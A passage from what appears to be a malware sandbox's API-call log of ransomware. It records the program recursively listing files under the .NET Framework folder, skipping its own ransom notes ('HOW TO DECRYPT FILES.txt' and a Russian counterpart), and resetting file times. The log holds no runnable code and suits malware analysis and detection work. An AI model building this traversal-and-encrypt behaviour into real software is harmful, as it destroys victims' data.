lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.692] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.692] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c12b00, ftCreationTime.dwHighDateTime=0x1d0aa7e, ftLastAccessTime.dwLowDateTime=0x5d0f8000, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x9c12b00, ftLastWriteTime.dwHighDateTime=0x1d0aa7e, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscoree.tlb", cAlternateFileName="")) returned 1 [0137.692] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.692] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscoree.tlb") returned -1 [0137.692] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscoree.tlb") returned -1 [0137.693] lstrcmpiA (lpString1="", lpString2="mscoree.tlb") returned -1 [0137.693] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscordbi.dll") returned="mscordbi.dll" [0137.693] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.693] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.693] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d11e160, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x790a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscoreei.dll", cAlternateFileName="")) returned 1 [0137.693] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.693] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscoreei.dll") returned -1 [0137.693] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscoreei.dll") returned -1 [0137.693] lstrcmpiA (lpString1="", lpString2="mscoreei.dll") returned -1 [0137.693] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoree.tlb") returned="mscoree.tlb" [0137.693] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.693] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.694] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d1442c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x80a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscoreeis.dll", cAlternateFileName="MSCORE~1.DLL")) returned 1 [0137.694] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.694] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscoreeis.dll") returned -1 [0137.694] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscoreeis.dll") returned -1 [0137.694] lstrcmpiA (lpString1="", lpString2="mscoreeis.dll") returned -1 [0137.694] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll") returned="mscoreei.dll" [0137.694] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.694] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.694] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d29af20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x53b8a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorlib.dll", cAlternateFileName="")) returned 1 [0137.694] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.694] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorlib.dll") returned -1 [0137.694] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorlib.dll") returned -1 [0137.694] lstrcmpiA (lpString1="", lpString2="mscorlib.dll") returned -1 [0137.695] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreeis.dll") returned="mscoreeis.dll" [0137.695] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.695] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.695] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a90e00, ftCreationTime.dwHighDateTime=0x1cd8fff, ftLastAccessTime.dwLowDateTime=0xcff389a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x17a90e00, ftLastWriteTime.dwHighDateTime=0x1cd8fff, nFileSizeHigh=0x0, nFileSizeLow=0x7ee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorlib.tlb", cAlternateFileName="")) returned 1 [0137.695] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.695] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorlib.tlb") returned -1 [0137.695] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorlib.tlb") returned -1 [0137.695] lstrcmpiA (lpString1="", lpString2="mscorlib.tlb") returned -1 [0137.695] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll") returned="mscorlib.dll" [0137.695] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.695] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.695] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d2e71e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x156a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorpe.dll", cAlternateFileName="")) returned 1 [0137.696] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.696] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorpe.dll") returned -1 [0137.696] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorpe.dll") returned -1 [0137.696] lstrcmpiA (lpString1="", lpString2="mscorpe.dll") returned -1 [0137.696] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.tlb") returned="mscorlib.tlb" [0137.696] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.696] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.696] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d30d340, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x216b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorpehost.dll", cAlternateFileName="MSCORP~1.DLL")) returned 1 [0137.696] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.696] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorpehost.dll") returned -1 [0137.696] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorpehost.dll") returned -1 [0137.696] lstrcmpiA (lpString1="", lpString2="mscorpehost.dll") returned -1 [0137.696] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorpe.dll") returned="mscorpe.dll" [0137.696] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.697] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.697] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d3334a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x612a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorrc.dll", cAlternateFileName="")) returned 1 [0137.697] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.697] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorrc.dll") returned -1 [0137.697] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorrc.dll") returned -1 [0137.697] lstrcmpiA (lpString1="", lpString2="mscorrc.dll") returned -1 [0137.697] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorpehost.dll") returned="mscorpehost.dll" [0137.697] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.697] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.697] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d359600, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x18cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorsecimpl.dll", cAlternateFileName="MSCORS~1.DLL")) returned 1 [0137.698] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.698] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorsecimpl.dll") returned -1 [0137.698] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorsecimpl.dll") returned -1 [0137.698] lstrcmpiA (lpString1="", lpString2="mscorsecimpl.dll") returned -1 [0137.698] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll") returned="mscorrc.dll" [0137.698] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.698] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.698] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d3a58c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x62a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorsn.dll", cAlternateFileName="")) returned 1 [0137.698] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.698] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorsn.dll") returned -1 [0137.698] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorsn.dll") returned -1 [0137.698] lstrcmpiA (lpString1="", lpString2="mscorsn.dll") returned -1 [0137.698] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsecimpl.dll") returned="mscorsecimpl.dll" [0137.699] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.699] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.699] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d3cba20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x64ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorsvc.dll", cAlternateFileName="")) returned 1 [0137.699] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.699] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorsvc.dll") returned -1 [0137.699] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorsvc.dll") returned -1 [0137.699] lstrcmpiA (lpString1="", lpString2="mscorsvc.dll") returned -1 [0137.699] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsn.dll") returned="mscorsn.dll" [0137.700] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d3f1b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x196b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorsvw.exe", cAlternateFileName="")) returned 1 [0137.700] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.700] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorsvw.exe") returned -1 [0137.700] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorsvw.exe") returned -1 [0137.700] lstrcmpiA (lpString1="", lpString2="mscorsvw.exe") returned -1 [0137.700] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll") returned="mscorsvc.dll" [0137.700] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d37f760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d37f760, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUI", cAlternateFileName="")) returned 1 [0137.700] lstrcmpA (lpString1=".", lpString2="MUI") returned -1 [0137.700] lstrcmpA (lpString1="..", lpString2="MUI") returned -1 [0137.700] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe") returned="mscorsvw.exe" [0137.701] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MUI\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d37f760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d37f760, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501574, cFileName=".", cAlternateFileName="")) returned 0x502518 [0137.702] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.702] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d37f760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d37f760, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0137.702] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.703] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.703] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d37f760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d37f760, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0409", cAlternateFileName="")) returned 1 [0137.703] lstrcmpA (lpString1=".", lpString2="0409") returned -1 [0137.703] lstrcmpA (lpString1="..", lpString2="0409") returned -1 [0137.703] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MUI\\*.*") returned="*.*" [0137.703] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MUI\\0409\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d37f760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d37f760, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0137.704] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.704] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d37f760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d37f760, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.704] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.705] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.705] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x94a8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mscorsecr.dll", cAlternateFileName="MSCORS~1.DLL")) returned 1 [0137.705] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.705] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorsecr.dll") returned -1 [0137.705] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorsecr.dll") returned -1 [0137.705] lstrcmpiA (lpString1="", lpString2="mscorsecr.dll") returned -1 [0137.705] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MUI\\0409\\*.*") returned="*.*" [0137.707] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.707] CloseHandle (hObject=0x94) returned 1 [0137.708] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x94a8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mscorsecr.dll", cAlternateFileName="MSCORS~1.DLL")) returned 0 [0137.708] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0137.708] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d37f760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d37f760, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0409", cAlternateFileName="")) returned 0 [0137.708] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0137.708] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccbe2500, ftCreationTime.dwHighDateTime=0x1ca29a0, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, 